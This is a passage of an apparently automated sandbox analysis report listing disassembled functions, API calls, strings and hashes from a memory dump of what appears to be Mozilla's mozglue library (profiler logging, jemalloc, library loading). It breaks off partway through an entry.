String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: f6b85684f06d3c01958e60e52ddd849e02038d645969a696d9b743795c50ef25
Instruction ID: 26845a89f6c7594ae799d8d1fcffc986bec891b39eda673fa8c2578b946b6d1b
Opcode Fuzzy Hash: f6b85684f06d3c01958e60e52ddd849e02038d645969a696d9b743795c50ef25
Instruction Fuzzy Hash: C0113D7D209604FFEF20CF25C958EA73BB9FB8635AF208019F90592654C771D850CBA5

Function 6C940EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C96D9F0,00000000), ref: 6C940F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C940F3C
__Init_thread_footer.LIBCMT ref: 6C940F50
FreeLibrary.KERNEL32(?,6C96D9F0,00000000), ref: 6C940F86

Strings

combase.dll, xrefs: 6C940F18
CoInitializeEx, xrefs: 6C940F36

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction ID: 8a238491c7a14aacdb322a4c540948e69bb8e711760af6aa058295bce47c7c24
Opcode Fuzzy Hash: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction Fuzzy Hash: A511CA7C709240BBDF00CFA9CA48A973778EB96329F204165FD0592780D7B0E411CA69

Function 6C97F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F561

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F585
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C97F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C97F56A
[I %d/%d] profiler_resume, xrefs: 6C97F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C97F499

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction ID: 7f971d7a2530eb0fdc676c2bcd9c834f4433f2b773b3a8677f1becf43becf5c0
Opcode Fuzzy Hash: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction Fuzzy Hash: 70F09079204204BFDB106B68D88C96BB77DEB9625DF200015FA0593741DB75C80087B8

Function 6C97F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction ID: 6ed7655d022b86080078032be5ccc5da2c6057c7e8f7ccc679ec97f5f8bbe965
Opcode Fuzzy Hash: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction Fuzzy Hash: 1AF05479305208BFDB106B69888C95BB77DFFD625DF200015FA0593791CB759C0587B9

Function 6C940E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C940DF8), ref: 6C940E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C940EA1
__Init_thread_footer.LIBCMT ref: 6C940EB5
FreeLibrary.KERNEL32 ref: 6C940EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C940E9B
kernel32.dll, xrefs: 6C940E7D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction ID: 36d07f913b5711776ab16abfd07912b998e12545a35804e808b474e846dd49e3
Opcode Fuzzy Hash: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction Fuzzy Hash: 4601E47C608281ABEB00CFA8D994A4337B9E796B1DF3055A9A90192B80DB74E4148A5A

Function 6C9705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C96CFAE,?,?,?,6C9331A7), ref: 6C9705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C96CFAE,?,?,?,6C9331A7), ref: 6C970616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9331A7), ref: 6C97061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9331A7), ref: 6C970627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C97061B, 6C970625
<jemalloc>, xrefs: 6C9705FA, 6C97060F

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction ID: f7b878710633722550ca183065095e9361bb82facc40488890c60da42b861acd
Opcode Fuzzy Hash: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction Fuzzy Hash: 54E08CE2A0101037F6142296AC86DBB761CDBD6134F090039FD0D86701E94BED1A51F6

Function 6C9405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction ID: 73a8f098127d232a9f21d92a1a6c37f1d3d3a4972731a0e0cf7dec800167419c
Opcode Fuzzy Hash: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction Fuzzy Hash: 54A159B4A04705CFDB24CF29C984A9AFBF5BF58304F5486AED44A97B40E730A955CF90

Function 6C9914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9914E2
GetCurrentThreadId.KERNEL32 ref: 6C991546
InitializeConditionVariable.KERNEL32(?), ref: 6C9915BA
free.MOZGLUE(?), ref: 6C9916B4

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction ID: bdcef36b7a7bfdbae18831c1f2d1a4f3153a1b9676ba1882c0bbff8f618d0901
Opcode Fuzzy Hash: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction Fuzzy Hash: 25610176A057009BDB11CF20C880BDEB7B9BF9A308F49891CED8A57711DB31E958CB91

Function 6C989F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C989FDB
free.MOZGLUE(?,?), ref: 6C989FF0
free.MOZGLUE(?,?), ref: 6C98A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C98A0BE
free.MOZGLUE(?,?), ref: 6C98A0D5
free.MOZGLUE(?,?), ref: 6C98A0EB

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6d6bfc02e10dcd24022590405bb62634f08c9b69dfac766571d267b3b9787e12
Instruction ID: 7b8dac0d6a1c2be9f6d786e96fc359479a160f350306defbc2ffe3ae3ea0e452
Opcode Fuzzy Hash: 6d6bfc02e10dcd24022590405bb62634f08c9b69dfac766571d267b3b9787e12
Instruction Fuzzy Hash: 1A61C075909701DFC712CF18C48059AB3F5FF98328F548659E8999BB02EB32E996CBC1

Function 6C98DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C98D38A,?), ref: 6C98DC6F
free.MOZGLUE(?,?,?,?,?,6C98D38A,?), ref: 6C98DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C98D38A,?), ref: 6C98DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C98D38A,?), ref: 6C98DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C98D38A,?), ref: 6C98DD4A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction ID: 2ce19ddb2dd9f54414bc5e9da964c65ae58d7b9f1e3280b6a2589f3f2b16fd84
Opcode Fuzzy Hash: 64fc13e81008861a8fd8f60560b2367b6d58f16c736874a81a40fc9a58671b35
Instruction Fuzzy Hash: EB419FB6A01606DFCB40CF99C88099EB7F5FF98304B65486AD905A7B11D771FC00CB90

Function 6C976590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9767C8

Part of subcall function 6C984290: memcpy.VCRUNTIME140(?,?,6C992003,6C990AD9,?,6C990AD9,00000000,?,6C990AD9,?,00000004,?,6C991A62,?,6C992003,?), ref: 6C9842C4

Strings

data, xrefs: 6C976593

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction ID: aee33180df4681bef97eb8d9293adcbeb19e5d3273948276209c37bf5257c9b5
Opcode Fuzzy Hash: 07efabbcd50b27bea9d585ec6acc860d234b00c0a64b99ffb9305b2879b215f6
Instruction Fuzzy Hash: BBD1C075A093409FDB24CF24C851B9FB7E5AFE5308F10492DE58997B91EB30E909CB62

Function 6C98C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C98C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C98C842

Part of subcall function 6C98CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9AB5EB,00000000), ref: 6C98CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C98C863
std::_Facet_Register.LIBCPMT ref: 6C98C875

Part of subcall function 6C96B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9AB636,?), ref: 6C96B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C98C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98C8BC

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 3520421ba9fbfb9b912dcf79647987ea332dcacdade8a18d04b0cecf668ac1a0
Instruction ID: 207e976fa823208b1e98ea9fd2221866170c1d7666e802f5496ded7fce77046d
Opcode Fuzzy Hash: 3520421ba9fbfb9b912dcf79647987ea332dcacdade8a18d04b0cecf668ac1a0
Instruction Fuzzy Hash: C011C876B04209AFCF00DFA5C8D58AF7B78EF99354F200529E60697781DB34D909CB95

Function 6C96D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C93EB57,?,?,?,?,?,?,?,?,?), ref: 6C96D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C93EB57,?), ref: 6C96D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C93EB57,?), ref: 6C96D673
free.MOZGLUE(?), ref: 6C96D888

Strings

|Enabled, xrefs: 6C96D81E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction ID: 518a1d4f115dca210510e2e5d516a13717f5ba677d5c12c3752c2e10a77ecdbc
Opcode Fuzzy Hash: 632a487894e8eba947f1bbba1a0003bdb2af5e6d2310bbb0280d43a10c23e640
Instruction Fuzzy Hash: AEA129B1A043059FEB11CF6AC4907AEBBF5AF59318F24805DD859ABB81C730E945CBA1

Function 6C96F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C96F480

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

CloseHandle.KERNEL32(00000000), ref: 6C96F555

Part of subcall function 6C9414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C941248,6C941248,?), ref: 6C9414C9
Part of subcall function 6C9414B0: memcpy.VCRUNTIME140(?,6C941248,00000000,?,6C941248,?), ref: 6C9414EF

Part of subcall function 6C93EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C93EEE3

CreateFileW.KERNEL32 ref: 6C96F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C96F523

Strings

\oleacc.dll, xrefs: 6C96F4CB

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction ID: 28725f1d3eb96d14e761cc1b1ce595056ca2c789dcd871fafb49936c0e065e9b
Opcode Fuzzy Hash: 7b1bf08d4450142f9b0833b574e1223cb38a95643e330ace73fc795bb2566cc5
Instruction Fuzzy Hash: EC41A5306087509FE720DF69C884BABB7F4AF5531CF504A1CF59593A90EB30D949CB92

Function 6C9974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C997526
__Init_thread_footer.LIBCMT ref: 6C997566
__Init_thread_footer.LIBCMT ref: 6C997597

Strings

UnmapViewOfFile2, xrefs: 6C997552
kernel32.dll, xrefs: 6C997557

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction ID: d06fc39f98530bd9b52d9d82359c16fdc32aa699cef7a7e22ef4d855daf0ea23
Opcode Fuzzy Hash: e212fc7de762993b273832e42c8712a33d8e7537c9223bf532c8f49daf28564f
Instruction Fuzzy Hash: 6321C839705501B7DF148FF98894E9B337AEB97B2CF2805A9D40597F80CF31E90689A6

Function 6C99A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BF770,-00000001,?,6C9AE330,?,6C95BDF7), ref: 6C99A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C95BDF7), ref: 6C99A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C95BDF7), ref: 6C99A7E4
LeaveCriticalSection.KERNEL32(6C9BF770), ref: 6C99A80A

Strings

accelerator.dll, xrefs: 6C99A7BF

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
